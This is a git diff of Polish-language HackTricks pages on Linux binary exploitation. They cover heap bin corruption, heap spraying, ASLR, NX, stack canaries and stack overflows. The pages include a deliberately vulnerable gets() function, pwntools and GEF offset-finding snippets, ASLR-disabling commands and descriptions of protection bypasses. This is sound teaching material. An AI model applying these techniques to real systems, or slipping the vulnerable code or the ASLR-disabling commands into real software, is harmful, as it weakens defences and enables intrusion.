wyświetla adresy zmiennych i funkcji -* `objdump -TR ./exec | grep exit(func lib)` - wyświetla adresy funkcji bibliotecznych (GOT) -* `objdump -d ./exec | grep funcCode` -* `objdump -s -j .dtors /exec` -* `objdump -s -j .got ./exec` -* `objdump -t --dynamic-relo ./exec | grep puts` - wyświetla adres funkcji `puts` do nadpisania w GOT -* `objdump -D ./exec` - wyświetla kod asemblera do wpisów w PLT -* `objdump -p -/exec` -* `Info functions strncmp` - informacje o funkcji w gdb +Gdy już znajdzie się w swoim binie, należy zmienić mu wskaźnik bk poprzez przepełnienie, aby wskazywał na adres, który chcemy nadpisać. + +Następnie bin musi poczekać, aż malloc() zostanie wywołane wystarczająco wiele razy, aby ponownie użyć zmodyfikowanego bina i oszukać bin, sprawiając, że uwierzy, że następny kawałek znajduje się pod fałszywym adresem. Następnie zostanie przydzielony kawałek, który nas interesuje. + +Aby wywołać podatność jak najszybciej, idealne jest: zarezerwowanie podatnego kawałka, zarezerwowanie kawałka do zmodyfikowania, zwolnienie tego kawałka, zarezerwowanie większego kawałka niż ten, który zostanie zmodyfikowany, zmodyfikowanie kawałka (podatność), zarezerwowanie kawałka o takim samym rozmiarze co naruszony i zarezerwowanie drugiego kawałka o takim samym rozmiarze, który będzie wskazywał na wybrany adres. + +Aby zabezpieczyć się przed tym atakiem, używa się standardowej weryfikacji, czy kawałek "nie" jest fałszywy: sprawdza się, czy bck->fd wskazuje na ofiarę. Innymi słowy, w naszym przypadku, jeśli wskaźnik fd\* fałszywego kawałka wskazuje na ofiarę na stosie. Aby ominąć to zabezpieczenie, atakujący musiałby być w stanie w jakiś sposób (prawdopodobnie przez stos) zapisać odpowiednio adres ofiary. W ten sposób wyglądałoby to jak prawdziwy kawałek. + +**Korupcja LargeBin** + +Wymagane są te same warunki co wcześniej i kilka dodatkowych, ponadto zarezerwowane kawałki muszą być większe niż 512. + +Atak jest podobny do poprzedniego, czyli trzeba zmienić wskaźnik bk i potrzebne są wszystkie te wywołania malloc(), ale dodatkowo trzeba zmienić rozmiar zmodyfikowanego kawałka tak, aby ten rozmiar - nb był < MINSIZE. + +Na przykład, trzeba ustawić rozmiar na 1552, aby 1552 - 1544 = 8 < MINSIZE (odejmowanie nie może być ujemne, ponieważ porównuje się liczby bez znaku) + +Dodatkowo wprowadzono łatkę, aby sprawić, że atak będzie jeszcze trudniejszy. + +**Rozpylanie sterty (Heap Spraying)** + +Polega na zarezerwowaniu jak największej ilości pamięci dla sterty i wypełnieniu jej poduszką z nops zakończoną shellcodem. Dodatkowo jako poduszkę używa się 0x0c. Następnie próbuje się skoczyć do adresu 0x0c0c0c0c, więc jeśli jakaś adres zostanie nadpisany tymi poduszkami, skoczy tam. Podstawową taktyką jest zarezerwowanie jak największej ilości pamięci, aby zobaczyć, czy jakiś wskaźnik zostanie nadpisany, i skok do 0x0c0c0c0c w nadziei, że tam będą nops. + +**Feng Shui sterty (Heap Feng Shui)** + +Polega na utwardzaniu pamięci poprzez rezerwacje i zwalnianie, tak aby między wolnymi kawałkami pozostały zarezerwowane kawałki. Bufor do przepełnienia zostanie umieszczony w jednym z tych kawałków. ## Ciekawe kursy * [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io) * [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE) +* [https://ir0nstone.gitbook.io/notes](https://ir0nstone.gitbook.io/notes) -## **Odnośniki** +## **Referencje** * [**https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html) @@ -1044,10 +938,10 @@ Ta technika polega na rezerwacji i zwalnianiu pamięci w taki sposób, aby międ Inne sposoby wsparcia HackTricks: -* Jeśli chcesz zobaczyć **reklamę swojej firmy w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)! -* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) +* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)! +* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) * Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family) -* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Podziel się swoimi trikami hakerskimi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/README.md b/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/README.md new file mode 100644 index 000000000..b68271564 --- /dev/null +++ b/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/README.md @@ -0,0 +1,39 @@ +# Wspólne zabezpieczenia binarne + +
+ +Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)! + +Inne sposoby wsparcia HackTricks: + +* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)! +* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) +* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family) +* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie. + +
+ +## Włącz pliki Core + +**Pliki Core** to rodzaj plików generowanych przez system operacyjny, gdy proces ulega awarii. Te pliki przechwytują obraz pamięci zatrzymanego procesu w chwili jego zakończenia, w tym pamięć procesu, rejestry i stan licznika programu, między innymi szczegóły. Ten zrzut może być niezwykle wartościowy do debugowania i zrozumienia przyczyny awarii. + +### **Włączanie Generowania Plików Core Dump** + +Domyślnie wiele systemów ogranicza rozmiar plików core do 0 (tj. nie generuje plików core) w celu oszczędzania miejsca na dysku. Aby włączyć generowanie plików core, można użyć polecenia `ulimit` (w powłoce bash lub podobnych) lub skonfigurować ustawienia systemowe. + +* **Korzystanie z ulimit**: Polecenie `ulimit -c unlimited` pozwala bieżącej sesji powłoki tworzyć pliki core o nieograniczonej wielkości. Jest to przydatne podczas sesji debugowania, ale nie jest trwałe po ponownym uruchomieniu systemu lub nowych sesjach. +```bash +ulimit -c unlimited +``` +* **Trwała konfiguracja**: Dla bardziej trwałego rozwiązania, możesz edytować plik `/etc/security/limits.conf`, aby dodać linię taką jak `* soft core unlimited`, która pozwala wszystkim użytkownikom generować pliki core o nieograniczonej wielkości bez konieczności ręcznego ustawiania ulimit w ich sesjach. +```markdown +* soft core unlimited +``` +### **Analiza plików rdzenia za pomocą GDB** + +Aby przeanalizować plik rdzenia, można użyć narzędzi do debugowania, takich jak GDB (GNU Debugger). Zakładając, że masz wykonywalny plik, który wygenerował zrzut rdzenia, a plik rdzenia ma nazwę `core_file`, można rozpocząć analizę za pomocą: +```bash +gdb /path/to/executable /path/to/core_file +``` +To polecenie wczytuje plik wykonywalny i plik rdzenia do GDB, pozwalając na zbadanie stanu programu w momencie awarii. Możesz użyć poleceń GDB do eksploracji stosu, sprawdzenia zmiennych i zrozumienia przyczyny awarii. diff --git a/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/aslr.md b/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/aslr.md new file mode 100644 index 000000000..b0ca88250 --- /dev/null +++ b/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/aslr.md @@ -0,0 +1,88 @@ +# ASLR + +
+ +Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)! + +Inne sposoby wsparcia HackTricks: + +* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)! +* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) +* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family) +* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
+ +## ASLR + +**Address Space Layout Randomization (ASLR)** to technika bezpieczeństwa stosowana w systemach operacyjnych do **losowego rozmieszczania adresów pamięci** używanych przez procesy systemowe i aplikacje. Dzięki temu znacznie utrudnia się przewidywanie lokalizacji konkretnych procesów i danych, takich jak stos, sterta i biblioteki, co zmniejsza ryzyko pewnych rodzajów ataków, zwłaszcza przepełnień bufora. + +### **ASLR Nie Tak Losowe** + +PaX dzieli przestrzeń adresową procesu na **3 grupy**: + +* **Kod i dane** (zainicjowane i niezainicjowane): `.text`, `.data` i `.bss` —> **16 bitów** entropii w zmiennej `delta_exec`. Ta zmienna jest losowo inicjowana przy każdym procesie i dodawana do adresów początkowych. +* **Pamięć** przydzielana przez `mmap()` i **biblioteki współdzielone** —> **16 bitów**, nazwana `delta_mmap`. +* **Stos** —> **24 bity**, oznaczane jako `delta_stack`. Jednakże faktycznie używa **11 bitów** (od 10. do 20. bajtu włącznie), wyrównanych do **16 bajtów** —> Skutkuje to w **524,288 możliwych rzeczywistych adresach stosu**. + +Powyższe dane dotyczą systemów 32-bitowych, a zmniejszona entropia końcowa umożliwia obejście ASLR poprzez wielokrotne ponowne uruchamianie wykonania, aż atak się powiedzie. + +W systemach 64-bitowych entropia jest znacznie wyższa i to nie jest możliwe. + +### **Sprawdzanie Stanu ASLR** + +Aby **sprawdzić** stan ASLR w systemie Linux, można odczytać wartość z pliku `/proc/sys/kernel/randomize_va_space`. Wartość przechowywana w tym pliku określa rodzaj zastosowanego ASLR: + +* **0**: Brak losowości. Wszystko jest statyczne. +* **1**: Konserwatywna losowość. Biblioteki współdzielone, stos, mmap(), strona VDSO są losowo rozmieszczane. +* **2**: Pełna losowość. Oprócz elementów losowo rozmieszczanych przez konserwatywną losowość, pamięć zarządzana przez `brk()` jest losowo rozmieszczana. + +Możesz sprawdzić stan ASLR za pomocą następującej komendy: +```bash +bashCopy codecat /proc/sys/kernel/randomize_va_space +``` +### **Wyłączanie ASLR** + +Aby **wyłączyć** ASLR, ustaw wartość `/proc/sys/kernel/randomize_va_space` na **0**. Wyłączenie ASLR zazwyczaj nie jest zalecane poza sytuacjami testowymi lub debugowania. Oto jak to zrobić: +```bash +echo 0 | sudo tee /proc/sys/kernel/randomize_va_space +``` +Możesz również wyłączyć ASLR dla wykonania za pomocą: +```bash +setarch `arch` -R ./bin args +setarch `uname -m` -R ./bin args +``` +### **Włączanie ASLR** + +Aby **włączyć** ASLR, można zapisać wartość **2** do pliku `/proc/sys/kernel/randomize_va_space`. Zazwyczaj wymaga to uprawnień roota. Pełna losowość może być osiągnięta za pomocą następującej komendy: +```bash +echo 2 | sudo tee /proc/sys/kernel/randomize_va_space +``` +### **Trwałość po ponownym uruchomieniu** + +Zmiany dokonane za pomocą poleceń `echo` są tymczasowe i zostaną zresetowane po ponownym uruchomieniu. Aby sprawić, że zmiana będzie trwała, należy edytować plik `/etc/sysctl.conf` i dodać lub zmodyfikować następującą linię: +```tsconfig +kernel.randomize_va_space=2 # Enable ASLR +# or +kernel.randomize_va_space=0 # Disable ASLR +``` +Po edycji `/etc/sysctl.conf` zastosuj zmiany za pomocą: +```bash +sudo sysctl -p +``` +To zapewni, że Twoje ustawienia ASLR pozostaną po ponownym uruchomieniu. + +
+ +Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)! + +Inne sposoby wsparcia HackTricks: + +* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)! +* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) +* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family) +* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie. + +
diff --git a/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/no-exec-nx.md b/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/no-exec-nx.md new file mode 100644 index 000000000..6b18f1f69 --- /dev/null +++ b/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/no-exec-nx.md @@ -0,0 +1,40 @@ +# Brak wykonania / NX + +
+ +Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)! + +Inne sposoby wsparcia HackTricks: + +* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)! +* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) +* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family) +* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie. + +
+ +## Podstawowe informacje + +Bit **No-Execute (NX)**, znany również jako **Execute Disable (XD)** w terminologii Intela, to funkcja bezpieczeństwa oparta na sprzęcie, zaprojektowana w celu **łagodzenia** skutków ataków **przepełnienia bufora**. Gdy jest zaimplementowany i włączony, rozróżnia obszary pamięci przeznaczone do **kodu wykonywalnego** od tych przeznaczonych dla **danych**, takich jak **stos** i **sterta**. Podstawowym pomysłem jest zapobieżenie atakującemu wykonaniu złośliwego kodu poprzez wykorzystanie podatności na przepełnienie bufora, umieszczając na przykład złośliwy kod na stosie i kierując przepływ wykonania do niego. + +## Bypassy + +* Możliwe jest użycie technik takich jak **ROP** do obejścia tej ochrony poprzez wykonanie fragmentów kodu wykonywalnego już obecnego w pliku binarnym. +* **Ret2libc** +* **Ret2printc** +* **Ret2...** + +
+ +Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)! + +Inne sposoby wsparcia HackTricks: + +* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)! +* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) +* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family) +* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie. + +
diff --git a/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/stack-canaries.md b/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/stack-canaries.md new file mode 100644 index 000000000..b111a8dc7 --- /dev/null +++ b/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/stack-canaries.md @@ -0,0 +1,37 @@ +# Ochrona stosu + +
+ +Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)! + +Inne sposoby wsparcia HackTricks: + +* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)! +* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) +* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family) +* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie. + +
+ +## **StackGuard i StackShield** + +**StackGuard** wstawia specjalną wartość znana jako **kanarka** przed **EIP (Extended Instruction Pointer)**, konkretnie `0x000aff0d` (reprezentującą null, znak nowej linii, EOF, powrót karetki) w celu ochrony przed przepełnieniem bufora. Jednak funkcje takie jak `recv()`, `memcpy()`, `read()` i `bcopy()` pozostają podatne, a także nie chroni **EBP (Base Pointer)**. + +**StackShield** stosuje bardziej zaawansowane podejście niż StackGuard, utrzymując **Globalny Stos Powrotu**, który przechowuje wszystkie adresy powrotu (**EIP**). Ten układ zapewnia, że przepełnienie nie powoduje szkód, ponieważ umożliwia porównanie przechowywanych i rzeczywistych adresów powrotu w celu wykrycia wystąpienia przepełnienia. Dodatkowo, StackShield może sprawdzić adres powrotu względem wartości granicznej, aby wykryć, czy **EIP** wskazuje poza oczekiwaną przestrzeń danych. Jednak ta ochrona może być obejścia za pomocą technik takich jak Return-to-libc, ROP (Return-Oriented Programming) lub ret2ret, co wskazuje, że StackShield również nie chroni zmiennych lokalnych. + +## **Protector Stack Smash (ProPolice) `-fstack-protector`:** + +Ten mechanizm umieszcza **kanarkę** przed **EBP** i przestawia zmienne lokalne, aby umieścić bufory na wyższych adresach pamięci, zapobiegając nadpisywaniu innych zmiennych. Bezpiecznie kopiuje również argumenty przekazane na stosie powyżej zmiennych lokalnych i używa tych kopii jako argumentów. Jednak nie chroni tablic o mniej niż 8 elementach ani buforów w strukturze użytkownika. + +**Kanarka** to losowa liczba pochodząca z `/dev/urandom` lub domyślna wartość `0xff0a0000`. Jest przechowywana w **TLS (Thread Local Storage)**, co pozwala na współdzielone przestrzenie pamięci między wątkami, aby miały wątkowo specyficzne zmienne globalne lub statyczne. Te zmienne są początkowo kopiowane z procesu nadrzędnego, a procesy potomne mogą zmieniać swoje dane bez wpływu na proces nadrzędny lub rodzeństwo. Niemniej jednak, jeśli używane jest **`fork()` bez tworzenia nowej kanarki, wszystkie procesy (rodzic i dzieci) dzielą tę samą kanarkę**, co czyni ją podatną. Na architekturze **i386**, kanarka jest przechowywana pod adresem `gs:0x14`, a na **x86\_64** pod adresem `fs:0x28`. + +Ta lokalna ochrona identyfikuje funkcje z buforami podatnymi na ataki i wstrzykuje kod na początku tych funkcji, aby umieścić kanarkę, a na końcu weryfikuje jej integralność. + +Gdy serwer WWW używa `fork()`, umożliwia atak brute-force w celu odgadnięcia kanarki bajt po bajcie. Jednak używając `execve()` po `fork()` nadpisuje przestrzeń pamięci, unieważniając atak. `vfork()` pozwala procesowi potomnemu wykonywać się bez duplikacji, aż spróbuje zapisać, wtedy tworzony jest duplikat, oferując inny sposób tworzenia procesów i zarządzania pamięcią. + +## Ominięcia + +* **Ujawnienie kanarki** a następnie nadpisanie jej (np. przepełnienie bufora) własną wartością. +* Jeśli kanarka jest klonowana w procesach potomnych, możliwe jest brutalne jej odgadnięcie po jednym bajcie. +* Jeśli w binarnym istnieje jakaś interesująca luka wyciekowa, może być możliwe jej ujawnienie. diff --git a/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md b/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md new file mode 100644 index 000000000..f22b251bb --- /dev/null +++ b/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md @@ -0,0 +1,97 @@ +# Przepełnienie stosu + +
+ +Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)! + +Inne sposoby wsparcia HackTricks: + +* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)! +* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) +* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family) +* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
+ +## Co to jest przepełnienie stosu + +**Przepełnienie stosu** to podatność, która występuje, gdy program zapisuje więcej danych na stosie, niż jest mu przydzielone do przechowywania. Nadmiarowe dane spowodują **nadpisanie sąsiedniego obszaru pamięci**, prowadząc do uszkodzenia poprawnych danych, zakłócenia sterowania przepływem i potencjalnie wykonania złośliwego kodu. Ten problem często wynika z użycia funkcji niebezpiecznych, które nie wykonują sprawdzania granic danych wejściowych. + +Głównym problemem tego nadpisania jest to, że wskaźniki **EIP** i **EBP** do powrotu do poprzedniej funkcji są **przechowywane na stosie**. Dlatego atakujący będzie mógł nadpisać je i **kontrolować przepływ wykonania programu**. + +Podatność zazwyczaj pojawia się, gdy funkcja **kopiuję na stos więcej bajtów niż jest na nią zaalokowane**, co pozwala na nadpisanie innych części stosu.\ +Niektóre powszechne funkcje podatne na to to: `strcpy`, `strcat`, `sprintf`, `gets`, `fgets`... + +Na przykład, następujące funkcje mogą być podatne na to: +```c +void vulnerable() { +char buffer[128]; +printf("Enter some text: "); +gets(buffer); // This is where the vulnerability lies +printf("You entered: %s\n", buffer); +} +``` +### Znajdowanie przepełnień stosu + +Najczęstszym sposobem na znalezienie przepełnień stosu jest podanie bardzo dużego wejścia z literami `A` (np. `python3 -c 'print("A"*1000)'`) i oczekiwanie `Segmentation Fault`, co wskazuje, że próbowano uzyskać dostęp do **adresu `0x41414141`**. + +Ponadto, po znalezieniu podatności na przepełnienie stosu, konieczne będzie znalezienie przesunięcia, aż będzie możliwe **nadpisanie wskaźnika EIP**, do tego zazwyczaj używany jest **ciąg De Bruijna**. Dla danego alfabetu o rozmiarze _k_ i podciągach o długości _n_, jest to **cykliczny ciąg, w którym każdy możliwy podciąg o długości _n_ pojawia się dokładnie raz** jako ciągły podciąg. + +W ten sposób, zamiast ręcznego określania, które przesunięcie nadpisuje EIP, można użyć jednego z tych ciągów jako dopełnienia, a następnie znaleźć przesunięcie bajtów, które spowodowało nadpisanie. + +Można to zrobić za pomocą **pwntools**: +```python +from pwn import * + +# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values) +pattern = cyclic(1000) + +# This is an example value that you'd have found in the EIP/IP register upon crash +eip_value = p32(0x6161616c) +offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern +print(f"The offset is: {offset}") +``` +lub **GEF**: +```bash +#Patterns +pattern create 200 #Generate length 200 pattern +pattern search "avaaawaa" #Search for the offset of that substring +pattern search $rsp #Search the offset given the content of $rsp +``` +## Wykorzystywanie przepełnień stosu + +Podczas przepełnienia (przy założeniu, że rozmiar przepełnienia jest wystarczająco duży) będziesz mógł nadpisać wartości innych zmiennych w stosie aż do osiągnięcia EBP i EIP (lub nawet więcej).\ +Najczęstszym sposobem nadużycia tego rodzaju podatności jest **modyfikacja wskaźnika EIP**, dzięki czemu po zakończeniu funkcji **przepływ sterowania zostanie przekierowany w miejsce, które użytkownik określił** w tym wskaźniku. + +Jednakże, w innych scenariuszach może wystarczyć **nadpisanie wartości niektórych zmiennych w stosie** do celów eksploatacji (jak w łatwych wyzwaniach CTF). + +### Ret2win + +W tego rodzaju wyzwaniach CTF, istnieje **funkcja** **wewnątrz** binariów, która **nigdy nie jest wywoływana** i **musisz ją wywołać, aby wygrać**. W takich wyzwaniach wystarczy znaleźć **przesunięcie do nadpisania EIP** i **znaleźć adres funkcji** do wywołania (zwykle [**ASLR**](../common-binary-protections/aslr.md) byłoby wyłączone), dzięki czemu po zakończeniu funkcji podatnej zostanie wywołana ukryta funkcja: + +{% content-ref url="ret2win.md" %} +[ret2win.md](ret2win.md) +{% endcontent-ref %} + +### Ret2Shellcode + +## Rodzaje zabezpieczeń + +{% content-ref url="../common-binary-protections/" %} +[common-binary-protections](../common-binary-protections/) +{% endcontent-ref %} + +
+ +Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)! + +Inne sposoby wsparcia HackTricks: + +* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)! +* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) +* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family) +* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
diff --git a/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2shellcode.md b/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2shellcode.md new file mode 100644 index 000000000..398a9df68 --- /dev/null +++ b/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2shellcode.md @@ -0,0 +1,93 @@ +# Ret2Shellcode + +
+ +Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)! + +Inne sposoby wsparcia HackTricks: + +* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)! +* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) +* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family) +* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie. + +
